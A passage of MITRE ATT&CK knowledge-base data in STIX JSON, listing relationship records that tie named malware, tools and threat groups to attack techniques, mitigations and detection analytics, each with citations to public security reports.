2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14039b88-3e1f-4d21-a0a0-968a15451db1","created":"2023-02-21T20:48:13.657Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-22T14:25:00.238Z","description":"Disable legacy authentication, which does not support MFA, and require the use of modern authentication protocols instead. ","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--14080577-f5de-46fd-b363-e3f4b4e73495","created":"2022-06-16T13:29:13.367Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Kaspersky Lyceum October 2021)","modified":"2022-06-16T13:29:13.367Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"tool--4664b683-f578-434f-919b-1c1aad2a1111","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--140dda5e-b3d5-47ce-aac5-22060d5bddf2","type":"relationship","created":"2020-05-06T21:31:07.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.316Z","description":"[Okrum](https://attack.mitre.org/software/S0439) has built-in commands for uploading, downloading, and executing files to the system.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--141036b9-327f-4b13-a561-856697dd138b","type":"relationship","created":"2021-03-02T19:56:01.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-20T19:17:58.069Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) can check for analysis environments and signs of debugging using the Windows API kernel32!GetTickCountKernel32 call.(Citation: Unit42 BendyBear Feb 2021) ","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14135aaa-6080-48c1-8a08-d6ee9bb15c3d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"}],"modified":"2019-04-17T22:12:24.817Z","description":"[Elise](https://attack.mitre.org/software/S0081) executes systeminfo after initial communication is made to the remote server.(Citation: Lotus Blossom Jun 2015)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--141a93b8-bfb7-4881-918c-7c91b7e41b25","created":"2023-06-19T18:24:39.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T15:32:19.630Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can use native Windows APIs including `GetHostByName`.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--141d1c0d-2f56-4b56-8834-ca3dab22faf9","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:57.820Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) is initially packed.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1422f68c-e962-4a13-8074-77f5b99b7718","type":"relationship","created":"2019-12-30T21:41:03.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T17:05:44.628Z","description":"Do not allow administrator accounts that have permissions to add component software on these services to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems. ","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--142307da-c957-49ff-985f-9dd503c8626b","created":"2022-02-18T16:58:12.025Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuietSieve](https://attack.mitre.org/software/S0686) can use HTTPS in C2 communications.(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T12:28:00.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1427027f-0fd1-4781-b4b3-06dc8e6e9998","type":"relationship","created":"2019-04-02T16:20:41.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html","source_name":"FireEye WannaCry 2017"},{"description":"Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.","url":"https://www.secureworks.com/research/wcry-ransomware-analysis","source_name":"SecureWorks WannaCry Analysis"}],"modified":"2019-04-22T11:43:33.560Z","description":"[WannaCry](https://attack.mitre.org/software/S0366) attempts to kill processes associated with Exchange, Microsoft SQL Server, and MySQL to make it possible to encrypt their data stores.(Citation: FireEye WannaCry 2017)(Citation: SecureWorks WannaCry Analysis)","relationship_type":"uses","source_ref":"malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--142afe71-581e-415e-9867-97ac0aaded65","created":"2021-01-06T16:56:56.352Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021.","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:33:02.264Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) collected hostname and OS version.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--142ef662-460f-4082-8f76-f08dd312bc30","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","source_name":"SecureList SynAck Doppelgänging May 2018"},{"url":"https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging","description":"Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelgänging technique. Retrieved May 24, 2018.","source_name":"Kaspersky Lab SynAck May 2018"}],"modified":"2019-07-26T23:00:57.203Z","description":"[SynAck](https://attack.mitre.org/software/S0242) payloads are obfuscated prior to compilation to inhibit analysis and/or reverse engineering.(Citation: SecureList SynAck Doppelgänging May 2018)(Citation: Kaspersky Lab SynAck May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14307b7b-0837-4c15-a959-0c8d24e05b6b","type":"relationship","created":"2020-05-07T02:33:07.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.590Z","description":"[Imminent Monitor](https://attack.mitre.org/software/S0434) has a PasswordRecoveryPacket module for recovering browser passwords.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14358f61-0f7e-404b-bbf5-1219f1079c51","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may backdoor web servers with web shells to establish persistent access to systems. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Alert TA15-314A Web Shells","description":"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.","url":"https://www.us-cert.gov/ncas/alerts/TA15-314A"}]},{"type":"relationship","id":"relationship--1436e328-e692-4dbc-adfd-cf1024a98b2e","created":"2020-03-25T13:57:35.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"},{"source_name":"US-CERT Volgmer Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318B"},{"source_name":"Symantec Volgmer Aug 2014","description":"Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.","url":"https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:40:35.184Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry. Some [Volgmer](https://attack.mitre.org/software/S0180) variants also install .dll files as services with names generated by a list of hard-coded strings.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14398d6b-aeb3-4d7c-9c65-9dfa1ab162ce","created":"2024-05-20T20:35:09.234Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T20:35:09.234Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) created new, malicious services using names such as Windows User Service to attempt to blend in with legitimate items on victim systems.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--143dbc8a-0b00-4510-aacf-96437d87ea2b","type":"relationship","created":"2020-06-15T20:49:55.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.503Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has the ability to identify the users on a compromised host.(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--144433cb-ce74-48db-b914-8362254d400e","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T17:33:35.935Z","description":"Monitor for changes made to files for unexpected modifications to access permissions and attributes.\n\nAnalytic 1 - Unexpected file modifications.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 | where Object_Type=\"File\" AND Access_Mask IN (\"0x2\", \"0x4\", \"0x20\", \"0x80\", \"0x100\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14476a38-f67d-45ed-a932-6a9c593e0d61","created":"2023-03-22T04:52:20.783Z","revoked":false,"external_references":[{"source_name":"ESET LoudMiner June 2019","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020.","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T04:52:20.783Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) has obfuscated various scripts.(Citation: ESET LoudMiner June 2019)\t","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--144b1ada-c2cc-40ae-8a95-a509a63e8bd8","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Lack of expected log events may be suspicious. Monitor for telemetry that provides context for modification or deletion of information related to security software processes or services such as Windows Defender definition files in Windows and System log files in Linux.","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--144d9006-95ab-4d14-8243-5c7e035d930c","created":"2024-08-26T18:06:23.300Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:06:23.300Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has created email accounts to interact with victims, including for phishing purposes.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2020-03-20T21:53:54.954Z","description":"[Duqu](https://attack.mitre.org/software/S0038) can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--14534636-d9cf-408f-b878-c25d59cd4714","created":"2022-03-30T14:26:51.850Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to firmware for unexpected modifications to settings and/or data that may use a hidden file system to conceal malicious activity from users and security tools. [Bootkit](https://attack.mitre.org/techniques/T1542/003)","modified":"2022-04-20T02:03:49.370Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--14568d94-858d-4b8a-af94-88cd17f6ab10","type":"relationship","created":"2019-01-30T15:19:14.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"},{"description":"Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside","source_name":"Proofpoint Azorult July 2018"}],"modified":"2020-03-20T23:01:41.863Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can encrypt C2 traffic using XOR.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--14585131-d378-4589-80b2-3c6ed88cba23","created":"2023-03-08T20:04:31.130Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-08T20:04:31.130Z","description":"Limit access to the Instance Metadata API using a host-based firewall such as iptables.","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--145d2112-b679-4d72-b484-7524f944e128","type":"relationship","created":"2021-03-24T20:25:01.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.289Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) can take screenshots every 30 seconds as well as when an external removable storage device is connected.(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--145ffef4-5a63-41d7-ac74-e034e9b9622d","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 